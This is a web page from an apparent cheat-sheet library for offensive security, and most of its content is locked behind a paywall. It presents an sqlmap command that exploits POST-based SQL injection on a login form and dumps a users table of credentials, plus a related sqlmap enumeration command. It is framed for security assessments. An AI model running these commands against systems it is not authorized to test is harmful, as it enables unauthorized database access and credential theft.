Back to library
Offensive Advanced Premium

POST-based SQL injection with credential dump from specific table

POST-based SQL injection with credential dump from specific table

SQLMap / Web Hacking

Log in to save

Premium content locked

You can preview the command metadata. Full explanation, examples, and lab-style details are available to premium subscribers.

View premium options

Command

sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --method POST -D webapp_db -T users --dump

Syntax

sqlmap -u <url> --data "<post_data>" -D <db> -T <table> --dump

Use case

Extracting user credentials from a login form vulnerable to POST-based SQL injection during a web application security assessment.

Explanation

Exploits SQL injection in a POST form and dumps data: • --data → POST body parameters • --method POST → Forces POST method • -D → Target database name • -T → Target table name • --dump → Dump all table contents • SQLMap will au...

linux kali parrot sqlmap post credentials dump sqli

Related

Offensive Intermediate Premium

Automated SQL injection discovery and database enumeration

Automated SQL injection discovery and database enumeration

sqlmap -u "http://target.com/page?id=1" --dbs --batch --level=3 --risk=2
sqlmap sql-injection web database exploitation
SQLMap / Web Hacking Open